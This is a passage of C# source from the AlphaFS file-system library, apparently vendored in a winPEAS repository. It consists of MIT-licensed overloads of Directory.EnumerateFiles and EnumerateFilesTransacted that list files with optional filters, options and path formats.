"CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] public static IEnumerable EnumerateFileSystemEntryInfosTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, Path.WildcardStarMatchAll, null, null, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file system entries in a specified path. /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The transaction. /// The directory to search. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] public static IEnumerable EnumerateFileSystemEntryInfosTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, Path.WildcardStarMatchAll, null, null, filters, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file system entries in a specified path. /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The transaction. /// The directory to search. /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] public static IEnumerable EnumerateFileSystemEntryInfosTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, Path.WildcardStarMatchAll, null, options, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file system entries in a specified path. /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The transaction. /// The directory to search. /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] public static IEnumerable EnumerateFileSystemEntryInfosTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, Path.WildcardStarMatchAll, null, options, filters, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file system entries that match a in a specified path. /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// The specification of custom filters to be used in the process. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFileSystemEntryInfosTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, searchPattern, null, null, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file system entries that match a in a specified path. /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFileSystemEntryInfosTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, searchPattern, null, null, filters, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file system entries that match a in a specified path. /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFileSystemEntryInfosTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, searchPattern, null, options, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file system entries that match a in a specified path. /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFileSystemEntryInfosTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, searchPattern, null, options, filters, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.EnumerateFiles.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.IO; using System.Security; using SearchOption = System.IO.SearchOption; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region .NET /// Returns an enumerable collection of file names in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by . /// /// /// /// /// /// /// The directory to search. [SecurityCritical] public static IEnumerable EnumerateFiles(string path) { return EnumerateFileSystemEntryInfosCore(false, null, path, Path.WildcardStarMatchAll, null, null, null, PathFormat.RelativePath); } /// Returns an enumerable collection of file names in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by and that match the . /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// [SecurityCritical] public static IEnumerable EnumerateFiles(string path, string searchPattern) { return EnumerateFileSystemEntryInfosCore(false, null, path, searchPattern, null, null, null, PathFormat.RelativePath); } /// Returns an enumerable collection of file names that match a in a specified , and optionally searches subdirectories. /// An enumerable collection of the full names (including paths) for the files in the directory specified by and that match the specified and . /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// /// One of the enumeration values that specifies whether the /// should include only the current directory or should include all subdirectories. /// [SecurityCritical] public static IEnumerable EnumerateFiles(string path, string searchPattern, SearchOption searchOption) { return EnumerateFileSystemEntryInfosCore(false, null, path, searchPattern, searchOption, null, null, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Returns an enumerable collection of file names in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by . /// /// /// /// /// /// /// The directory to search. /// Indicates the format of the path parameter(s). [SecurityCritical] public static IEnumerable EnumerateFiles(string path, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(false, null, path, Path.WildcardStarMatchAll, null, null, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file names in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by and that match the . /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFiles(string path, string searchPattern, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(false, null, path, searchPattern, null, null, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file names that match a in a specified , and optionally searches subdirectories. /// An enumerable collection of the full names (including paths) for the files in the directory specified by and that match the specified and . /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// /// One of the enumeration values that specifies whether the /// should include only the current directory or should include all subdirectories. /// /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFiles(string path, string searchPattern, SearchOption searchOption, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(false, null, path, searchPattern, searchOption, null, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file names in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by . /// /// /// /// /// /// /// The directory to search. /// flags that specify how the directory is to be enumerated. [SecurityCritical] public static IEnumerable EnumerateFiles(string path, DirectoryEnumerationOptions options) { return EnumerateFileSystemEntryInfosCore(false, null, path, Path.WildcardStarMatchAll, null, options, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file names in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by . /// /// /// /// /// /// /// The directory to search. /// flags that specify how the directory is to be enumerated. /// Indicates the format of the path parameter(s). [SecurityCritical] public static IEnumerable EnumerateFiles(string path, DirectoryEnumerationOptions options, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(false, null, path, Path.WildcardStarMatchAll, null, options, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file names in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by and that match the . /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFiles(string path, string searchPattern, DirectoryEnumerationOptions options) { return EnumerateFileSystemEntryInfosCore(false, null, path, searchPattern, null, options, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file names in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by and that match the . /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFiles(string path, string searchPattern, DirectoryEnumerationOptions options, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(false, null, path, searchPattern, null, options, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file names in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by . /// /// /// /// /// /// /// The directory to search. /// The specification of custom filters to be used in the process. [SecurityCritical] public static IEnumerable EnumerateFiles(string path, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(false, null, path, Path.WildcardStarMatchAll, null, null, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file names in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by . /// /// /// /// /// /// /// The directory to search. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] public static IEnumerable EnumerateFiles(string path, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(false, null, path, Path.WildcardStarMatchAll, null, null, filters, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file names in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by and that match the . /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// The specification of custom filters to be used in the process. [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFiles(string path, string searchPattern, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(false, null, path, searchPattern, null, null, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file names in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by and that match the . /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFiles(string path, string searchPattern, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(false, null, path, searchPattern, null, null, filters, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file names in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by . /// /// /// /// /// /// /// The directory to search. /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. [SecurityCritical] public static IEnumerable EnumerateFiles(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(false, null, path, Path.WildcardStarMatchAll, null, options, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file names in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by . /// /// /// /// /// /// /// The directory to search. /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] public static IEnumerable EnumerateFiles(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(false, null, path, Path.WildcardStarMatchAll, null, options, filters, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file names in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by and that match the . /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFiles(string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(false, null, path, searchPattern, null, options, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file names in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by and that match the . /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFiles(string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(false, null, path, searchPattern, null, options, filters, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.EnumerateFilesTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.IO; using System.Security; using SearchOption = System.IO.SearchOption; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Returns an enumerable collection of file names in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by . /// /// /// /// /// /// /// The transaction. /// The directory to search. [SecurityCritical] public static IEnumerable EnumerateFilesTransacted(KernelTransaction transaction, string path) { return EnumerateFileSystemEntryInfosCore(false, transaction, path, Path.WildcardStarMatchAll, null, null, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file instances that match a in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by and that match the . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFilesTransacted(KernelTransaction transaction, string path, string searchPattern) { return EnumerateFileSystemEntryInfosCore(false, transaction, path, searchPattern, null, null, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file instances instances that match a in a specified , and optionally searches subdirectories. /// An enumerable collection of the full names (including paths) for the files in the directory specified by and that match the specified and . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// /// One of the enumeration values that specifies whether the /// should include only the current directory or should include all subdirectories. /// [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFilesTransacted(KernelTransaction transaction, string path, string searchPattern, SearchOption searchOption) { return EnumerateFileSystemEntryInfosCore(false, transaction, path, searchPattern, searchOption, null, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file names in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// Indicates the format of the path parameter(s). [SecurityCritical] public static IEnumerable EnumerateFilesTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(false, transaction, path, Path.WildcardStarMatchAll, null, null, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file instances that match a in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by and that match the . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFilesTransacted(KernelTransaction transaction, string path, string searchPattern, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(false, transaction, path, searchPattern, null, null, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file instances instances that match a in a specified , and optionally searches subdirectories. /// An enumerable collection of the full names (including paths) for the files in the directory specified by and that match the specified and . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// /// One of the enumeration values that specifies whether the /// should include only the current directory or should include all subdirectories. /// /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFilesTransacted(KernelTransaction transaction, string path, string searchPattern, SearchOption searchOption, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(false, transaction, path, searchPattern, searchOption, null, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file names in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// flags that specify how the directory is to be enumerated. [SecurityCritical] public static IEnumerable EnumerateFilesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options) { return EnumerateFileSystemEntryInfosCore(false, transaction, path, Path.WildcardStarMatchAll, null, options, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file names in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// flags that specify how the directory is to be enumerated. /// Indicates the format of the path parameter(s). [SecurityCritical] public static IEnumerable EnumerateFilesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(false, transaction, path, Path.WildcardStarMatchAll, null, options, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file instances that match a in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by and that match the . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFilesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options) { return EnumerateFileSystemEntryInfosCore(false, transaction, path, searchPattern, null, options, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file instances that match a in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by and that match the . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFilesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(false, transaction, path, searchPattern, null, options, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file names in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// The specification of custom filters to be used in the process. [SecurityCritical] public static IEnumerable EnumerateFilesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(false, transaction, path, Path.WildcardStarMatchAll, null, null, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file names in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] public static IEnumerable EnumerateFilesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(false, transaction, path, Path.WildcardStarMatchAll, null, null, filters, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file names in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by and that match the . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// The specification of custom filters to be used in the process. [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFilesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(false, transaction, path, searchPattern, null, null, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file names in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by and that match the . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFilesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(false, transaction, path, searchPattern, null, null, filters, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file names in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. [SecurityCritical] public static IEnumerable EnumerateFilesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(false, transaction, path, Path.WildcardStarMatchAll, null, options, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file names in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] public static IEnumerable EnumerateFilesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(false, transaction, path, Path.WildcardStarMatchAll, null, options, filters, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file names in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by and that match the . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFilesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(false, transaction, path, searchPattern, null, options, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file names in a specified . /// An enumerable collection of the full names (including paths) for the files in the directory specified by and that match the . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable 